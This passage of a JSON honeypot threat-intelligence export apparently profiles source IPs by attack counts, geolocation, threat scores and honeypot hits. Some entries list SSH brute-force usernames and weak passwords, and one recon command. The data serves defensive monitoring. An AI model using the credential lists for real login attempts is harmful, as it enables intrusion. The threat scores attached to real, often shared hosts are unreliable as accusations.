      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:28:51.170000+00:00",
        "last_seen_30d": "2026-03-11T04:29:57.397000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.167": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:16:11.927Z",
      "last_seen": "2026-03-10T23:16:14.312Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "garbage"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:16:11.927000+00:00",
        "last_seen_30d": "2026-03-10T23:17:19.592000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "8.219.40.251": {
      "attack_count": 5,
      "first_seen": "2026-03-08T12:12:51.308Z",
      "last_seen": "2026-03-20T08:48:42.264Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zhangbowen"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T18:56:28+00:00",
        "last_seen_30d": "2026-03-20T08:49:46.249000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "100.53.194.34": {
      "attack_count": 4,
      "first_seen": "2026-03-21T00:52:00.085Z",
      "last_seen": "2026-03-21T00:52:07.740Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 13.3,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 16,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-16T01:08:24.190000+00:00",
        "last_seen_30d": "2026-03-31T01:00:04.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Honeytrap": 2,
        "Dionaea": 1
      }
    },
    "151.19.220.158": {
      "attack_count": 4,
      "first_seen": "2026-03-05T10:33:28.741Z",
      "last_seen": "2026-03-05T10:33:29.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:33:28.741000+00:00",
        "last_seen_30d": "2026-03-05T10:34:39.381000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.227.99.233": {
      "attack_count": 4,
      "first_seen": "2026-03-24T06:56:37.812Z",
      "last_seen": "2026-03-24T06:56:45.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-24T06:56:37.812000+00:00",
        "last_seen_30d": "2026-03-24T06:57:50.597000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "85.217.140.20": {
      "attack_count": 4,
      "first_seen": "2026-03-30T13:52:30.471Z",
      "last_seen": "2026-03-30T13:52:31.108Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 678,
        "days_active_30d": 29,
        "ports_targeted_30d": 385,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:08:40.664000+00:00",
        "last_seen_30d": "2026-03-30T13:53:40.061000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 393,
        "Honeytrap": 281,
        "Cowrie": 4
      }
    },
    "94.20.183.47": {
      "attack_count": 4,
      "first_seen": "2026-03-02T12:43:22.989Z",
      "last_seen": "2026-03-05T04:56:55.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": null,
      "asn": 200446,
      "as_org": "SELNET LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:43:22.989000+00:00",
        "last_seen_30d": "2026-03-16T04:35:46.732000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "68.183.217.184": {
      "attack_count": 3,
      "first_seen": "2026-03-21T15:09:11.277Z",
      "last_seen": "2026-03-21T15:10:15.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T15:09:11.277000+00:00",
        "last_seen_30d": "2026-03-26T14:43:35.481000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Tanner": 92,
        "Cowrie": 3
      }
    },
    "91.230.168.8": {
      "attack_count": 3,
      "first_seen": "2026-03-17T21:10:24.807Z",
      "last_seen": "2026-03-17T21:10:24.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 30,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:02:15.009000+00:00",
        "last_seen_30d": "2026-03-31T18:39:34.014000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 48,
        "Cowrie": 3
      }
    },
    "103.99.32.179": {
      "attack_count": 2,
      "first_seen": "2026-03-18T21:24:58.484Z",
      "last_seen": "2026-03-18T21:25:11.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T21:24:58.484000+00:00",
        "last_seen_30d": "2026-03-18T21:26:16.502000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.38.213.95": {
      "attack_count": 2,
      "first_seen": "2026-03-05T20:50:13.482Z",
      "last_seen": "2026-03-05T20:50:27.600Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:50:13.482000+00:00",
        "last_seen_30d": "2026-03-05T20:51:37.515000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.170.244.253": {
      "attack_count": 2,
      "first_seen": "2026-03-27T02:57:04.044Z",
      "last_seen": "2026-03-27T02:57:17.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T02:57:04.044000+00:00",
        "last_seen_30d": "2026-03-27T02:58:19.449000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.217.68.168": {
      "attack_count": 2,
      "first_seen": "2026-03-16T09:31:15.625Z",
      "last_seen": "2026-03-16T09:31:27.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:31:15.625000+00:00",
        "last_seen_30d": "2026-03-16T09:32:36.488000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.65.228.134": {
      "attack_count": 2,
      "first_seen": "2026-03-29T20:08:11.824Z",
      "last_seen": "2026-03-29T20:08:24.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:08:11.824000+00:00",
        "last_seen_30d": "2026-03-29T20:09:31.342000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.179.67.52": {
      "attack_count": 2,
      "first_seen": "2026-03-24T18:17:33.998Z",
      "last_seen": "2026-03-24T18:17:46.742Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T18:17:33.998000+00:00",
        "last_seen_30d": "2026-03-24T18:18:52.744000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.135.44.26": {
      "attack_count": 2,
      "first_seen": "2026-03-22T07:37:33.477Z",
      "last_seen": "2026-03-22T07:37:45.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T07:37:33.477000+00:00",
        "last_seen_30d": "2026-03-22T07:38:54.066000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.83.126.130": {
      "attack_count": 2,
      "first_seen": "2026-03-16T20:09:25.419Z",
      "last_seen": "2026-03-16T20:09:56.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Posadas",
      "asn": 263774,
      "as_org": "MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T05:54:52.601000+00:00",
        "last_seen_30d": "2026-03-16T20:11:05.273000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "198.235.24.129": {
      "attack_count": 2,
      "first_seen": "2026-03-31T15:06:18.400Z",
      "last_seen": "2026-03-31T15:06:49.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 66.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 11.8,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T20:38:45+00:00",
        "last_seen_30d": "2026-03-31T15:07:55.894000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 2,
        "Honeytrap": 2,
        "Wordpot": 1
      }
    },
    "213.91.178.109": {
      "attack_count": 2,
      "first_seen": "2026-03-08T05:37:42.430Z",
      "last_seen": "2026-03-08T05:38:12.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Burgas",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T05:37:42.430000+00:00",
        "last_seen_30d": "2026-03-08T05:39:18.798000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.173.142.147": {
      "attack_count": 2,
      "first_seen": "2026-03-30T23:44:33.212Z",
      "last_seen": "2026-03-30T23:44:49.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T23:44:33.212000+00:00",
        "last_seen_30d": "2026-03-30T23:45:56.433000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.74.137.18": {
      "attack_count": 2,
      "first_seen": "2026-03-17T22:59:40.448Z",
      "last_seen": "2026-03-17T22:59:52.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Charlotte",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:59:40.448000+00:00",
        "last_seen_30d": "2026-03-17T23:00:58.898000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.190.51.80": {
      "attack_count": 2,
      "first_seen": "2026-03-11T02:30:31.907Z",
      "last_seen": "2026-03-11T02:30:45.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:30:31.907000+00:00",
        "last_seen_30d": "2026-03-11T02:31:47.649000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.164.185.170": {
      "attack_count": 2,
      "first_seen": "2026-03-15T22:23:01.798Z",
      "last_seen": "2026-03-15T22:23:15.576Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 268633,
      "as_org": "73s Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:23:01.798000+00:00",
        "last_seen_30d": "2026-03-15T22:24:25.867000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.141.243": {
      "attack_count": 2,
      "first_seen": "2026-03-18T03:33:09.187Z",
      "last_seen": "2026-03-18T03:33:22.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:33:09.187000+00:00",
        "last_seen_30d": "2026-03-18T03:34:30.708000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.59.81.175": {
      "attack_count": 2527,
      "first_seen": "2026-03-07T21:03:07.082Z",
      "last_seen": "2026-03-07T21:53:03.507Z",
      "sessions": 505,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ftpuser",
        "admin",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "alex",
        "bot",
        "jenkins",
        "ali",
        "debian",
        "a",
        "aaa",
        "bob",
        "botuser",
        "claude",
        "david"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "P@ssw0rd",
        "1",
        "12345",
        "password",
        "admin123",
        "1111",
        "1234567",
        "1qaz@WSX",
        "admin",
        "p@ssw0rd",
        "root",
        "0000",
        "11",
        "111",
        "123123123",
        "aa"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3551,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T21:03:07.082000+00:00",
        "last_seen_30d": "2026-03-07T21:54:10.436000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2527,
        "Suricata": 1024
      }
    },
    "23.239.12.74": {
      "attack_count": 1263,
      "first_seen": "2026-03-29T13:49:12.529Z",
      "last_seen": "2026-03-29T14:16:05.105Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "kafka",
        "deploy",
        "deployer",
        "alex",
        "home",
        "jenkins",
        "test",
        "user",
        "web",
        "abc",
        "app",
        "bot",
        "debian",
        "dspace",
        "ftptest",
        "ftpuser",
        "guest",
        "milad"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "P@ssw0rd",
        "password",
        "p@ssw0rd",
        "root",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "aman",
        "home",
        "hooman",
        "milad",
        "soporte",
        "00000000",
        "090786",
        "102030",
        "11"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1774,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T13:49:12.529000+00:00",
        "last_seen_30d": "2026-03-29T14:17:10.586000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1263,
        "Suricata": 511
      }
    },
    "134.199.215.90": {
      "attack_count": 979,
      "first_seen": "2026-03-02T08:50:27.386Z",
      "last_seen": "2026-03-02T10:48:52.134Z",
      "sessions": 190,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "centos",
        "guest",
        "oracle",
        "pi",
        "postgres",
        "test",
